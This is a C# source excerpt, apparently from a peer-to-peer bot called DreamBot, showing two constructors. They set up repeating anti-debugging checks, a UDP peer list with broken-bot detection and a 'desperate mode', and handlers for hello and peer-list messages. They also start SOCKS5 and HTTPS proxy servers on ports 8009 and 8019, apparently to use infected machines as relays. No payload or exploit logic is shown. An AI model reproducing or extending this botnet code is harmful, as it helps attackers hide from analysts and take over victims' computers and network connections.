public DreamBotApp(int port, BotIdentifier id) { BotId = id; Logger.Info(0, "DreamBot [id: {0}] listenning on port {1}", BotId, port); _worker = new ClientWorker(); _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1)); _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3)); _peerList = new PeerList(_worker); _peerList.DesparadoModeActivated += DesperateModeActivated; _listener = new MessageListener(port); _listener.UdpPacketReceived += EnqueueMessage; _comunicationManager = new ComunicationManager(_listener, _worker); _peersManager = new PeerManager(_comunicationManager, _peerList, _worker, BotId); _messagesManager = new MessageManager(_peersManager); _messagesManager.Register(0x00, MessageType.Request, typeof(HelloMessage), new HelloMessageHandler(_peerList, _messagesManager), false); _messagesManager.Register(0x01, MessageType.Reply, typeof(HelloReplyMessage), new HelloReplyMessageHandler(_peerList, _messagesManager), true); _messagesManager.Register(0x02, MessageType.Request, typeof(GetPeerListMessage), new GetPeerListMessageHandler(_peerList, _messagesManager), true); _messagesManager.Register(0x03, MessageType.Reply, typeof(GetPeerListReplyMessage), new GetPeerListReplyMessageHandler(_peerList, _messagesManager), true); _messagesManager.Register(0xFF, MessageType.Special, typeof(InvalidMessage), new InvalidMessageHandler(_peerList), false); _socks5 = new Socks5Server(8009); _https = new HttpsProxyServer(8019); //_connectivityTester = new ConnectivityTester(); //_connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged; }
public PeerManager(ComunicationManager comunicationManager, PeerList peerList, IWorkScheduler worker, BotIdentifier botId) { _comunicationManager = comunicationManager; _comunicationManager.PackageReceivedEventArgs += PackageReceivedEventArgs; _worker = worker; _botId = botId; _waitingForReply = new ReplyWaitManager(_comunicationManager); _worker.QueueForever(PurgeTimeouts, TimeSpan.FromSeconds(60)); _peerList = peerList; _peerList.BrokenBotDetected += BrokenBotDetected; }